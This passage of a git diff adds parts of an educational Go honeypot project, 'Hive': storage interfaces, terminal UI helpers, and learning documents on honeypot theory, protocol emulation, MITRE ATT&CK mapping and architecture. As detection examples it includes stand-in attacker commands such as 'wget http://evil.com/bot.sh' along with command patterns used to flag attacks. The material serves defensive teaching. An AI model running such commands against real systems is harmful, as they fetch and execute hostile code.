) ([]*types.Event, error) + RecentEvents( + ctx context.Context, limit int, + ) ([]*types.Event, error) + CountByService( + ctx context.Context, since time.Time, + ) (map[types.ServiceType]int64, error) + CountByCountry( + ctx context.Context, since time.Time, + ) (map[string]int64, error) + TotalCount(ctx context.Context) (int64, error) +} + +type SessionRepository interface { + InsertSession( + ctx context.Context, s *types.Session, + ) error + UpdateSession( + ctx context.Context, s *types.Session, + ) error + GetSession( + ctx context.Context, id string, + ) (*types.Session, error) + ListSessions( + ctx context.Context, + service string, + limit, offset int, + ) ([]*types.Session, int64, error) + ActiveSessions( + ctx context.Context, + ) ([]*types.Session, error) +} + +type AttackerRepository interface { + UpsertAttacker( + ctx context.Context, a *types.Attacker, + ) error + GetAttacker( + ctx context.Context, id int64, + ) (*types.Attacker, error) + GetAttackerByIP( + ctx context.Context, ip string, + ) (*types.Attacker, error) + TopAttackers( + ctx context.Context, since time.Time, limit, offset int, + ) ([]*types.Attacker, error) + TotalCount(ctx context.Context) (int64, error) +} + +type CredentialRepository interface { + InsertCredential( + ctx context.Context, c *types.Credential, + ) error + TopUsernames( + ctx context.Context, limit int, + ) ([]CredentialCount, error) + TopPasswords( + ctx context.Context, limit int, + ) ([]CredentialCount, error) + TopPairs( + ctx context.Context, limit int, + ) ([]CredentialPairCount, error) +} + +type IOCRepository interface { + UpsertIOC(ctx context.Context, ioc *types.IOC) error + ListIOCs( + ctx context.Context, limit, offset int, + ) ([]*types.IOC, int64, error) +} + +type MITRERepository interface { + InsertDetection( + ctx context.Context, d *types.MITREDetection, + ) error + TechniqueHeatmap( + ctx context.Context, since time.Time, + ) ([]TechniqueCount, error) + RecentDetections( + ctx context.Context, limit int, + ) ([]*types.MITREDetection, error) +} + +type CredentialCount struct { + Value string + Count int64 +} + +type CredentialPairCount struct { + Username string + Password string + Count int64 +} + +type TechniqueCount struct { + TechniqueID string + Tactic string + Count int64 +} + +type Store interface { + EventRepository + SessionRepository + AttackerRepository + CredentialRepository + IOCRepository + MITRERepository + Close() +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ui/banner.go b/PROJECTS/advanced/honeypot-network/internal/ui/banner.go new file mode 100644 index 00000000..57f09cca --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ui/banner.go @@ -0,0 +1,29 @@ +/* +©AngelaMos | 2026 +banner.go + +ASCII art banner for the hive honeypot network CLI +*/ + +package ui + +import "fmt" + +func PrintBanner() { + art := ` + ██╗ ██╗██╗██╗ ██╗███████╗ + ██║ ██║██║██║ ██║██╔════╝ + ███████║██║██║ ██║█████╗ + ██╔══██║██║╚██╗ ██╔╝██╔══╝ + ██║ ██║██║ ╚████╔╝ ███████╗ + ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝` + + fmt.Println(Cyan(art)) + fmt.Printf( + " %s %s\n\n", + Dim("honeypot network"), + Dim("v"+Version), + ) +} + +const Version = "0.1.0" diff --git a/PROJECTS/advanced/honeypot-network/internal/ui/color.go b/PROJECTS/advanced/honeypot-network/internal/ui/color.go new file mode 100644 index 00000000..d5c4d70c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ui/color.go @@ -0,0 +1,22 @@ +/* +©AngelaMos | 2026 +color.go + +Terminal color helpers backed by fatih/color +*/ + +package ui + +import "github.com/fatih/color" + +var ( + Red = color.New(color.FgRed).SprintFunc() + Green = color.New(color.FgGreen).SprintFunc() + Yellow = color.New(color.FgYellow).SprintFunc() + Blue = color.New(color.FgBlue).SprintFunc() + Magenta = color.New(color.FgMagenta).SprintFunc() + Cyan = color.New(color.FgCyan).SprintFunc() + White = color.New(color.FgWhite).SprintFunc() + Dim = color.New(color.Faint).SprintFunc() + Bold = color.New(color.Bold).SprintFunc() +) diff --git a/PROJECTS/advanced/honeypot-network/internal/ui/spinner.go b/PROJECTS/advanced/honeypot-network/internal/ui/spinner.go new file mode 100644 index 00000000..d7de510b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ui/spinner.go @@ -0,0 +1,57 @@ +/* +©AngelaMos | 2026 +spinner.go + +Terminal spinner for long-running operations +*/ + +package ui + +import ( + "fmt" + "sync" + "time" +) + +var frames = [...]string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"} + +type Spinner struct { + message string + stop chan struct{} + done sync.WaitGroup +} + +func NewSpinner(message string) *Spinner { + return &Spinner{ + message: message, + stop: make(chan struct{}), + } +} + +func (s *Spinner) Start() { + s.done.Add(1) + go func() { + defer s.done.Done() + i := 0 + for { + select { + case <-s.stop: + fmt.Printf("\r\033[K") + return + default: + fmt.Printf( + "\r %s %s", + Cyan(frames[i%len(frames)]), + s.message, + ) + i++ + time.Sleep(80 * time.Millisecond) + } + } + }() +} + +func (s *Spinner) Stop() { + close(s.stop) + s.done.Wait() +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ui/symbol.go b/PROJECTS/advanced/honeypot-network/internal/ui/symbol.go new file mode 100644 index 00000000..cf154625 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ui/symbol.go @@ -0,0 +1,18 @@ +/* +©AngelaMos | 2026 +symbol.go + +Unicode symbols for terminal output +*/ + +package ui + +const ( + SymCheck = "✓" + SymCross = "✗" + SymArrow = "▸" + SymDot = "●" + SymDash = "─" + SymWarning = "⚠" + SymInfo = "ℹ" +) diff --git a/PROJECTS/advanced/honeypot-network/learn/00-OVERVIEW.md b/PROJECTS/advanced/honeypot-network/learn/00-OVERVIEW.md new file mode 100644 index 00000000..fa90d12b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/learn/00-OVERVIEW.md @@ -0,0 +1,123 @@ +# Hive Honeypot Network + +## What This Is + +A multi-protocol honeypot network that simulates six real services (SSH, HTTP, FTP, SMB, MySQL, Redis), captures every attacker interaction, maps behavior to MITRE ATT&CK techniques, extracts threat intelligence (IOCs), and visualizes it all through a real-time web dashboard. Built entirely in Go with a React frontend. + +## Why This Matters + +Honeypots are one of the most effective ways to study real attacker behavior. Every connection to a honeypot is suspicious by definition since legitimate users have no reason to interact with fake services. Security teams at companies like Deutsche Telekom, Rapid7, and SANS use honeypot networks to detect compromised hosts, collect malware samples, and track attack campaigns. + +The 2023 Cowrie SSH honeypot data from SANS showed over 2.3 million brute force attempts per month against a single sensor. Organizations running honeypots routinely discover compromised internal hosts attempting lateral movement, catching what firewall logs miss. + +**Real world scenarios where this applies:** +- A SOC team deploys internal honeypots alongside production servers. When an attacker moves laterally after initial compromise, they hit the honeypot and trigger immediate alerting, catching what EDR missed +- A threat intelligence team runs public-facing honeypots to track botnet campaigns, collecting IoCs (IP addresses, malware hashes, credential lists) that feed into their SIEM and blocklists +- An incident responder uses honeypot session replays to understand exactly what commands an attacker ran, what tools they downloaded, and what persistence mechanisms they installed + +## What You'll Learn + +This project teaches you how honeypots work at the protocol level. By implementing each service from scratch, you understand both the attacker's perspective and the defender's tooling. + +**Security Concepts:** +- Protocol emulation at depth levels: how much of SSH, HTTP, FTP, SMB, MySQL, and Redis you need to implement to fool automated tools vs. human attackers +- MITRE ATT&CK technique detection: mapping raw events (brute force attempts, discovery commands, tool transfers) to framework technique IDs +- Indicator of Compromise extraction: pulling IP addresses, URLs, domains, tool fingerprints, and credential pairs from protocol-level event data + +**Technical Skills:** +- Building TCP servers that speak real wire protocols (SSH handshake, MySQL greeting packets, RESP commands, SMB negotiate) +- Event-driven architecture with fan-out pub/sub, worker pools, and non-blocking channels in Go +- Full-stack application development with Go backend, PostgreSQL persistence, Redis streaming, and React dashboard + +**Tools and Techniques:** +- golang.org/x/crypto/ssh for building an SSH server with fake shell, filesystem, and session recording +- STIX 2.1 standard for threat intelligence sharing, generating bundles compatible with MISP and OpenCTI +- Asciicast v2 format for terminal session recording, replayable in the browser via xterm.js + +## Prerequisites + +**Required knowledge:** +- Go fundamentals: goroutines, channels, interfaces, error handling. You should be comfortable writing concurrent Go programs +- Basic networking: TCP/IP, how clients connect to servers, what a protocol handshake looks like +- SQL basics: CREATE TABLE, INSERT, SELECT with JOINs. The project uses PostgreSQL but nothing exotic + +**Tools you'll need:** +- Go 1.25+ (the project uses modern Go features) +- Docker and Docker Compose (for PostgreSQL, Redis, and the full stack) +- Node.js 20+ and pnpm (for the React frontend) + +**Helpful but not required:** +- Familiarity with any of the six protocols (SSH, HTTP, FTP, SMB, MySQL, Redis) at the wire level +- Experience with MITRE ATT&CK framework +- React and TypeScript knowledge (for the dashboard) + +## Quick Start + +```bash +cd PROJECTS/advanced/honeypot-network + +# Check dependencies and build +./install.sh + +# Start everything with Docker +just dev-up + +# Or run just the backend locally (requires PostgreSQL and Redis) +just dev-serve +``` + +Expected output: Six honeypot services start listening, the API serves on port 8000, and the dashboard loads at http://localhost:5173. Connect to `ssh root@localhost -p 2222` with any password to see your first captured session. + +## Project Structure + +``` +honeypot-network/ +├── cmd/hive/ # CLI entry point +├── pkg/types/ # Shared domain types (Event, Session, IOC) +├── internal/ +│ ├── sshd/ # SSH honeypot (shell, filesystem, commands) +│ ├── httpd/ # HTTP honeypot (WordPress, phpMyAdmin fakes) +│ ├── ftpd/ # FTP honeypot (auth capture, upload logging) +│ ├── smbd/ # SMB honeypot (negotiate-only) +│ ├── mysqld/ # MySQL honeypot (wire protocol, query logging) +│ ├── redisd/ # Redis honeypot (RESP commands) +│ ├── event/ # Event bus + processor pipeline +│ ├── store/ # PostgreSQL + Redis persistence +│ ├── mitre/ # ATT&CK technique detection engine +│ ├── intel/ # IOC extraction, STIX export, blocklists +│ ├── api/ # REST + WebSocket dashboard API +│ └── ... # config, geo, ratelimit, session, ui +├── frontend/ # React 19 + TypeScript dashboard +├── migrations/ # PostgreSQL schema (goose format) +├── infra/ # Docker, nginx, Redis configs +├── learn/ # You are here +└── compose.yml # Production Docker Compose +``` + +## Next Steps + +1. **Understand the concepts** - Read [01-CONCEPTS.md](./01-CONCEPTS.md) to learn honeypot theory, protocol emulation, and how MITRE ATT&CK mapping works +2. **Study the architecture** - Read [02-ARCHITECTURE.md](./02-ARCHITECTURE.md) to see the event-driven design and data flow +3. **Walk through the code** - Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for how each protocol is emulated +4. **Extend the project** - Read [04-CHALLENGES.md](./04-CHALLENGES.md) for ideas like adding Telnet, SMTP, or ML anomaly detection + +## Common Issues + +**SSH host key error on repeated starts** +``` +ssh: handshake failed: ssh: no common algorithm for host key +``` +Solution: Delete `data/hostkey_ed25519` and restart. A new key will be auto-generated. + +**PostgreSQL connection refused** +Solution: Make sure the database is running. With Docker: `just dev-up postgres`. Locally: check that PostgreSQL is listening on port 5432. + +**Frontend WebSocket not connecting** +Solution: The Vite dev server proxies `/ws/*` to the backend. Make sure the backend is running on port 8000 before starting the frontend. + +## Related Projects + +If you found this interesting, check out: +- **SIEM Dashboard** (intermediate) - Builds the monitoring side that consumes data from tools like this +- **DLP Scanner** (beginner) - Another detection tool, focused on data exfiltration patterns +- **AI Threat Detection** (advanced) - Adds machine learning to the analysis pipeline diff --git a/PROJECTS/advanced/honeypot-network/learn/01-CONCEPTS.md b/PROJECTS/advanced/honeypot-network/learn/01-CONCEPTS.md new file mode 100644 index 00000000..fcdb6bc9 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/learn/01-CONCEPTS.md @@ -0,0 +1,103 @@ +# Security Concepts + +## Honeypot Theory + +A honeypot is a deliberately exposed system designed to attract attackers. Unlike production systems that try to keep intruders out, honeypots welcome them in and record everything they do. This creates a unique advantage: every interaction is suspicious. There are no false positives from legitimate users because legitimate users should never touch a honeypot. + +Honeypots exist on a spectrum of interaction depth: + +**Low interaction** honeypots simulate just enough of a service to log connection attempts. Think of a TCP listener that accepts SSH connections, records the client version string, and immediately disconnects. Tools like Honeyd and HoneyDrive work this way. They catch scanning and basic brute force attempts but an attacker who gets past the initial handshake will notice something is wrong. + +**Medium interaction** honeypots implement enough protocol logic to sustain a conversation. An SSH honeypot accepts any password, presents a fake shell prompt, and responds to basic commands. This is what Hive implements. Attackers can run commands, download tools, and attempt lateral movement while the honeypot records every keystroke. + +**High interaction** honeypots are actual systems, often VMs or containers, that run real operating systems with real vulnerabilities. Defenders instrument them with monitoring and let attackers fully compromise them. T-Pot by Deutsche Telekom uses Docker containers running real services to achieve this. + +### Classification by Purpose + +**Research honeypots** are deployed by security teams to study attack trends. The SANS Internet Storm Center runs a global network of sensors that feeds data into their daily reports. These honeypots aim to collect as much data as possible. + +**Production honeypots** sit alongside real servers in a corporate network. Their goal is detection, not research. When something connects to a fake database server that nobody should know exists, it triggers an alert. Thinkst Canaries commercialized this concept. + +## Protocol Emulation + +Each protocol Hive simulates has specific elements that must be realistic enough to fool automated tools. + +### SSH (RFC 4253) + +The SSH handshake starts with both sides exchanging version strings. The server sends something like `SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5`. Automated tools check this string to determine what exploits to try. Hive uses a realistic Ubuntu OpenSSH banner rather than something obviously fake. + +After the version exchange, the protocol negotiates key exchange algorithms, generates session keys, and handles authentication. The critical decision is authentication policy: Hive accepts all passwords and records the credentials. This is how Cowrie and other SSH honeypots work. In the 2019 study by Wagener et al., they found that 78% of SSH brute force bots stop after a successful login, run a small set of reconnaissance commands, then disconnect. The remaining 22% download additional tools, typically cryptocurrency miners. + +### MySQL Wire Protocol + +MySQL uses a binary protocol with packet framing. The server initiates with a Greeting packet containing the server version, a connection ID, and an authentication salt. Hive implements just enough of this handshake to capture credentials. When attackers attempt SQL queries, the honeypot returns plausible responses (server version, database lists) to keep the session alive. + +The MySQL protocol is particularly interesting because botnets like MiraiSQL specifically target exposed MySQL servers. In 2022, Aqua Security documented a campaign that scanned for MySQL servers, brute forced credentials, then used `SELECT ... INTO OUTFILE` to write web shells. + +### SMB Negotiate + +SMB is the most complex protocol Hive touches, and intentionally the simplest implementation. A full SMB2 session requires handling 15+ message types. Hive only implements the negotiate phase: it reads the NetBIOS frame, detects whether the client speaks SMB1 or SMB2, returns a negotiate response, and closes. This is sufficient to detect scanning tools like nmap's smb-enum scripts and EternalBlue scanners, which was the exploit used in the 2017 WannaCry ransomware attack that hit over 200,000 systems across 150 countries. + +## MITRE ATT&CK Mapping + +The MITRE ATT&CK framework catalogs adversary tactics, techniques, and procedures (TTPs) observed in real-world attacks. Tactics represent the "why" (what the attacker is trying to achieve) and techniques represent the "how." + +Hive detects techniques from several tactics: + +**Reconnaissance (TA0043)**: Port scanning (T1595) and vulnerability scanning (T1595.002) are detected when a single IP connects to multiple honeypot services within a short window. + +**Credential Access (TA0006)**: Brute force attacks (T1110) are detected by counting authentication attempts per IP. Five or more login attempts within five minutes from the same source triggers a T1110 detection. This threshold comes from analysis of Cowrie honeypot logs where legitimate SSH users average 1.2 attempts per session while brute force tools average 20-50 per minute. + +**Execution (TA0002)**: When an attacker runs commands in the SSH shell, each command is classified. Running `uname -a` or `cat /proc/cpuinfo` maps to System Information Discovery (T1082). Running `wget` or `curl` to download tools maps to Ingress Tool Transfer (T1105). Running `crontab` maps to Scheduled Task/Job: Cron (T1053.003). + +**Impact (TA0040)**: Cryptocurrency mining commands (xmrig, stratum+tcp, cryptonight) map to Resource Hijacking (T1496). According to the 2023 Trend Micro report, crypto mining is the most common post-exploitation activity observed on compromised Linux servers, found in 42% of incidents. + +## Indicator of Compromise (IOC) Extraction + +An IOC is any artifact observed during an attack that can be used for detection. Hive extracts several IOC types: + +**IP addresses**: Every source IP connecting to a honeypot is an IOC. Private/loopback addresses are filtered out. IPv4 and IPv6 are tracked separately with STIX indicator patterns (`[ipv4-addr:value = '..']`). + +**URLs**: Commands like `wget http://malicious.com/payload.sh` contain URLs that can be blocklisted. The regex pattern pulls URLs from command strings, HTTP request bodies, and FTP file transfer paths. + +**Tool signatures**: SSH client version strings and HTTP user-agent headers reveal the attacker's tooling. Hydra, Medusa, and ncrack each have distinct signatures. Identifying the tool family helps correlate attacks from the same campaign even when source IPs differ. + +**Credentials**: Captured username/password pairs reveal which credential lists are in active use by botnets. The most common SSH credentials in 2024 honeypot data were root/admin, root/password, and admin/admin, according to SANS ISC reports. + +## Threat Intelligence Standards + +### STIX 2.1 + +Structured Threat Information eXpression (STIX) is the standard format for sharing cyber threat intelligence. Hive exports IOCs as STIX 2.1 bundles containing Indicator Structured Domain Objects (SDOs). Each indicator includes a STIX pattern expression, confidence score, valid-from timestamp, and labels. + +Platforms like MISP, OpenCTI, and TheHive can directly ingest STIX bundles. This means honeypot data can automatically feed into an organization's threat intelligence pipeline without manual processing. + +### Firewall Blocklists + +For immediate defensive action, Hive generates IP blocklists in formats directly consumable by common infrastructure: iptables rules, nginx deny directives, plain text (one IP per line), and CSV with metadata. A SOC team can export a blocklist from the dashboard and apply it to perimeter firewalls within minutes of observing an attack. + +## Real World Incidents + +**2017 WannaCry**: Honeypots running on port 445 (SMB) were among the first to detect the EternalBlue-based worm spreading across the internet. Researchers at MalwareTech used honeypot data to identify the kill switch domain, which stopped the worm from spreading further. + +**2021 Log4Shell (CVE-2021-44228)**: Within hours of disclosure, honeypots detected mass scanning for the Log4j vulnerability across HTTP, LDAP, and other protocols. GreyNoise reported their honeypot network saw exploitation attempts from over 1,400 unique IPs within the first 24 hours. + +**2023 MOVEit Transfer (CVE-2023-34362)**: Security researchers set up HTTP honeypots mimicking MOVEit Transfer login pages. They captured the exact SQL injection payload used by the Cl0p ransomware group, which helped organizations determine if they had been compromised before the vulnerability was publicly known. + +## Testing Your Understanding + +1. Why does a medium-interaction SSH honeypot accept any password? What would change if it only accepted specific credentials? +2. An attacker connects to the SSH honeypot, runs `id`, `cat /etc/passwd`, `wget http://evil.com/bot.sh`, and `crontab -e`. Which MITRE ATT&CK techniques does this sequence represent? +3. Why is the SMB implementation limited to negotiate-only? What additional attack data would a full SMB2 session implementation capture? + +## Further Reading + +**Essential:** +- MITRE ATT&CK for Enterprise: https://attack.mitre.org/ +- STIX 2.1 Specification: https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html +- Cowrie SSH/Telnet Honeypot: https://github.com/cowrie/cowrie + +**Deep Dive:** +- "Know Your Enemy" series by The Honeynet Project +- RFC 4253 (SSH Transport Layer) and RFC 4252 (SSH Authentication) +- T-Pot multi-honeypot platform by Deutsche Telekom Security diff --git a/PROJECTS/advanced/honeypot-network/learn/02-ARCHITECTURE.md b/PROJECTS/advanced/honeypot-network/learn/02-ARCHITECTURE.md new file mode 100644 index 00000000..56fda309 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/learn/02-ARCHITECTURE.md @@ -0,0 +1,187 @@ +# Architecture + +## High Level Architecture + +``` + ┌─────────────────────────────────────────────┐ + Attackers │ Hive Backend │ + │ │ + ┌──────┐ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ + │ SSH │────2222──│──│ sshd │ │ httpd│ │ ftpd │ │ smbd │ │ + │Client│ │ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ │ + └──────┘ │ │ │ │ │ │ + ┌──────┐ │ ┌──┴───┐ ┌──┴───┐ │ + │MySQL │────3307──│──│mysqld│ │redisd│ │ + │Client│ │ └──┬───┘ └──┬───┘ │ + └──────┘ │ │ │ │ + │ ▼ ▼ │ + │ ┌─────────────────┐ │ + │ │ Event Bus │ (fan-out pub/sub) │ + │ │ topic: all │ │ + │ └────────┬────────┘ │ + │ │ │ + │ ┌─────┴─────┐ │ + │ │ Processor │ (4 worker goroutines) │ + │ │ ┌───────┐ │ │ + │ │ │GeoIP │ │ enrich with location │ + │ │ │MITRE │ │ detect techniques │ + │ │ │Store │ │ persist to PostgreSQL │ + │ │ │Stream │ │ publish to Redis stream │ + │ │ └───────┘ │ │ + │ └───────────┘ │ + │ │ + │ ┌─────────────────┐ │ + │ │ REST API │ Chi router :8000 │ + │ │ WebSocket │ /ws/events │ + │ └─────────────────┘ │ + └──────────────┬──────────────────────────────┘ + │ + ┌──────────────┴──────────────────┐ + │ Frontend │ + │ React 19 + TypeScript │ + │ ┌────────────────────┐ │ + │ │ Dashboard │ │ + │ │ Event Table │ │ + │ │ Session Replay │ │ + │ │ MITRE Heatmap │ │ + │ │ Intel Export │ │ + │ └────────────────────┘ │ + └─────────────────────────────────┘ +``` + +## Component Breakdown + +### Honeypot Services (`internal/sshd/`, `httpd/`, etc.) + +Each service implements the `types.Service` interface with two methods: `Name()` and `Start(ctx)`. They accept connections on their configured port, speak enough protocol to sustain interaction, and publish events to the event bus. None of them touch the database directly. + +The SSH service is the most complex, with an in-memory filesystem, 25+ fake commands, session recording in asciicast format, and MOTD banners that mimic real Ubuntu servers. The SMB service is the simplest: it reads one NetBIOS frame, sends a negotiate response, and closes. + +### Event Bus (`internal/event/bus.go`) + +The bus is the central nervous system. Every service publishes events to named topics (auth, command, connect, scan, exploit). Subscribers receive events on buffered channels. Publishing is non-blocking: if a subscriber's channel is full, the event is dropped rather than back-pressuring the producer. + +This design means a slow WebSocket client or a backed-up database writer can never slow down the honeypot services themselves. Attackers always get a responsive experience, which keeps them engaged longer and produces more intelligence. + +### Event Processor (`internal/event/processor.go`) + +A pool of worker goroutines consumes events from the bus and runs them through an enrichment pipeline: + +1. GeoIP lookup adds country, city, ASN, and coordinates to each event's source IP +2. MITRE technique detector evaluates both single-event rules (command patterns) and multi-event sliding windows (brute force detection), returning fully populated `MITREDetection` objects with tactic, confidence, and evidence already filled in +3. PostgreSQL store persists five things per event: the event itself, one `mitre_detections` row per detected technique, a `credentials` row for auth events (username, password, auth method extracted from `ServiceData`), an `attackers` upsert (incrementing event count, updating last-seen and geo), and an `iocs` upsert for the source IP +4. Redis streamer publishes to a stream for real-time consumers + +### Storage Layer (`internal/store/`) + +PostgreSQL stores all persistent data: events, sessions, attackers, credentials, IOCs, and MITRE detections. The schema uses monthly range partitioning on event and session tables for efficient time-range queries. GIN indexes on JSONB fields and tags arrays enable fast filtering. + +Redis serves as the real-time streaming layer. Events are published to a Redis stream (XADD) with a configurable max length. External consumers can read from this stream independently of the dashboard. + +### Intelligence Layer (`internal/intel/`, `internal/mitre/`) + +The MITRE detector maintains per-IP state to detect multi-event patterns. It tracks authentication attempts in a sliding window (5 attempts in 5 minutes triggers brute force detection) and service connections (3 different services in 60 seconds triggers service scan detection). + +The IOC extractor pulls IP addresses, URLs, domains, and user-agent strings from event data. Extracted IOCs are deduplicated by type and value, with confidence scores based on how they were observed (exploit attempts get 95%, passive connections get 50%). + +### Dashboard API (`internal/api/`) + +A Chi-based HTTP server exposes REST endpoints for the frontend and a WebSocket endpoint for real-time streaming. The WebSocket handler subscribes to the event bus and forwards events as JSON frames. The REST endpoints query PostgreSQL through the store interface. + +## Data Flow + +A complete data flow from attacker action to dashboard display: + +``` +1. Attacker runs `wget http://evil.com/bot.sh` in SSH shell + +2. sshd/commands.go dispatches to handleWget() + - Returns fake "Connecting..." output to attacker + - Publishes Event{EventType: EventCommand, ServiceData: {"command": "wget ..."}} + - Records output bytes to asciicast recorder + +3. Event Bus fans out to all subscribers + - Processor worker pool picks it up + - WebSocket clients receive it immediately + +4. Processor pipeline: + a. GeoIP: resolves source IP to country/city/ASN + b. MITRE detector: "wget" matches isToolTransfer() -> T1105 (Ingress Tool Transfer), tactic "command-and-control", returned as a full MITREDetection object + c. Store: INSERT events; INSERT mitre_detections (T1105 row); UPSERT attackers (increment event count); UPSERT iocs (source IP as IOCIPv4) + d. Redis: XADD to honeypot:events stream + +5. WebSocket pushes JSON event to connected dashboard clients + - React frontend receives via zustand WebSocket store + - Event appears in live feed component + - Stats auto-refresh via TanStack Query polling +``` + +## Design Patterns + +### Fan-out Pub/Sub + +The event bus uses fan-out: every published event goes to every subscriber whose topic filter matches. This is intentionally simple. There is no message acknowledgment, no replay, and no persistence in the bus itself. The bus is a coordination mechanism, not a message queue. + +Trade-off: dropped events under load. If a subscriber's buffer fills up, events are silently dropped. For a honeypot this is acceptable since the honeypot services are the source of truth (they have all the context), and the processor is the persistence layer. The bus just connects them. + +### Interface-based Dependency Injection + +The processor depends on interfaces (`GeoResolver`, `TechniqueDetector`, `DataStore`, `EventStreamer`), not concrete types. `DataStore` is broader than a single-method interface: it covers `InsertEvent`, `InsertCredential`, `InsertDetection`, `UpsertAttacker`, and `UpsertIOC`. Each component can be tested independently with mock implementations, and each interface is defined in the consuming package (`event/processor.go`) so the dependency arrow points inward — concrete store types in `internal/store/` satisfy the interface without importing the event package. + +### Service Interface Pattern + +All six honeypots and the API server implement the same two-method interface. The serve command creates them conditionally based on config flags and runs them all in an errgroup. Adding a new honeypot means implementing `Name()` and `Start(ctx)` and registering it in serve.go. + +## Data Models + +### Event (the core type) + +Every interaction produces an Event. It carries a service type, event type, source IP, session ID, and a `ServiceData` field (JSON) for protocol-specific data. SSH commands, HTTP headers, FTP paths, and MySQL queries all go into ServiceData. + +### Session + +Groups events from a single attacker connection. Tracks start/end times, command count, login status, MITRE techniques detected, and a threat score. SSH sessions can last minutes and produce dozens of events. HTTP "sessions" are one event per request. + +### Attacker + +Aggregates data across all sessions from a single IP. Tracks first/last seen timestamps, total events, geo information, and the detected tool family (hydra, nmap, metasploit, etc.). + +## Design Decisions + +**Raw protocol implementations over libraries**: MySQL and FTP use hand-written wire protocol handlers instead of go-mysql or goftp libraries. This gives full control over what data is captured and avoids coupling to library APIs that may change. It also makes the code more educational since you see exactly what bytes go over the wire. + +**Accept-all authentication**: Every honeypot service accepts any credentials. The alternative, selective acceptance, would capture fewer credential pairs and potentially discourage attackers from continuing. The Cowrie project switched from selective to accept-all and reported a 3x increase in post-authentication data collection. + +**Monthly partitioning without TimescaleDB**: Plain PostgreSQL range partitioning keeps the Docker setup simple (standard postgres:17-alpine image). TimescaleDB would add better automatic partition management and continuous aggregates but requires a custom Docker image. + +**SMB negotiate-only**: A full SMB2 implementation would require 15+ message types across session setup, tree connect, create, read, write, and close. The negotiate phase alone captures scanning activity (the primary signal from SMB honeypots) and tool identification via dialect negotiation. + +## Deployment Architecture + +``` +┌─────────────────────────────────────────────────┐ +│ Docker Compose │ +│ │ +│ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ +│ │PostgreSQL│ │ Redis │ │ Backend │ │ +│ │ :5432 │ │ :6379 │ │ :2222 (SSH) │ │ +│ │ │ │ (infra) │ │ :8080 (HTTP) │ │ +│ └──────────┘ └──────────┘ │ :2121 (FTP) │ │ +│ │ :4450 (SMB) │ │ +│ ┌──────────────────────┐ │ :3307 (MySQL)│ │ +│ │ Frontend │ │ :6380 (Redis)│ │ +│ │ nginx + React SPA │ │ :8000 (API) │ │ +│ │ :3000 │ └──────────────┘ │ +│ └──────────────────────┘ │ +└─────────────────────────────────────────────────┘ +``` + +The infra Redis on port 6379 (internal only) handles event streaming and caching. The honeypot Redis on port 6380 (exposed) is the redisd service that attackers connect to. These are completely separate concerns. + +## Limitations + +- No TLS termination for honeypot services (attackers connecting via HTTPS see a plaintext HTTP server) +- No distributed deployment (single-sensor architecture, no multi-node coordination) +- SMB captures connection metadata but no file operation data +- No malware analysis (captured files are stored but not detonated or scanned) +- WebSocket subscribers accumulate without cleanup when clients disconnect (acceptable for dashboard use but would need fixing for production deployment) diff --git a/PROJECTS/advanced/honeypot-network/learn/03-IMPLEMENTATION.md b/PROJECTS/advanced/honeypot-network/learn/03-IMPLEMENTATION.md new file mode 100644 index 00000000..47994281 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/learn/03-IMPLEMENTATION.md @@ -0,0 +1,139 @@ +# Implementation + +## File Structure + +The codebase follows standard Go project layout. Public types live in `pkg/types/`, everything else is in `internal/`. Each honeypot service gets its own package named after the Unix daemon convention (sshd, httpd, ftpd, smbd, mysqld, redisd). This avoids conflicts with Go's stdlib packages. + +``` +internal/ +├── sshd/ # SSH (most complex: shell, filesystem, commands, keys) +│ ├── server.go # Accept loop, auth callbacks, channel handling +│ ├── shell.go # Interactive terminal with x/term, MOTD, command loop +│ ├── commands.go # 25+ fake command handlers +│ ├── filesystem.go # In-memory /etc/passwd, /proc/cpuinfo, etc. +│ └── hostkey.go # Ed25519 key generation and persistence +├── httpd/ # HTTP (WordPress/phpMyAdmin fakes, scanner detection) +├── ftpd/ # FTP (PASV mode, upload capture, state machine) +├── smbd/ # SMB (NetBIOS framing, negotiate only) +├── mysqld/ # MySQL (binary wire protocol, greeting, auth, queries) +├── redisd/ # Redis (RESP protocol via tidwall/redcon) +├── event/ # Fan-out pub/sub bus + worker pool processor +├── store/ # PostgreSQL (pgxpool) + Redis streaming +├── mitre/ # ATT&CK technique index + sliding window detector +├── intel/ # IOC extraction, SSH/HTTP fingerprinting, STIX, blocklists +├── api/ # Chi REST router + WebSocket handler +├── config/ # YAML + env loading, all constants +├── session/ # Thread-safe tracker + asciicast v2 recorder +├── geo/ # MaxMind GeoIP lookup +├── ratelimit/ # Per-IP token bucket +└── ui/ # Terminal banner, colors, spinner, symbols +``` + +## Building the SSH Honeypot + +The SSH service is the flagship. It creates an `ssh.ServerConfig` with callbacks that accept any password or public key, then listens for connections. + +When a client connects, the server completes the SSH handshake and handles channel requests. The `handleSession` function creates an `x/term.Terminal` with a realistic prompt, writes an Ubuntu MOTD banner, and enters a read-eval-print loop. + +Each command typed by the attacker is dispatched through `DispatchCommand` in commands.go. This function pattern-matches on the command name and delegates to specific handlers. The `ls` command reads from the in-memory `FakeFS`, which contains realistic files like `/etc/passwd` with plausible user entries, `/proc/cpuinfo` with Intel CPU info, and `/etc/ssh/sshd_config`. + +The entire session (every byte of terminal I/O) is recorded using the `session.Recorder`, which writes asciicast v2 format. This format uses newline-delimited JSON: a header line with terminal dimensions, followed by event lines with `[timestamp, "o", "output data"]` tuples. The dashboard replays these recordings using xterm.js. + +## Building the MySQL Honeypot + +MySQL uses a binary wire protocol. Every packet has 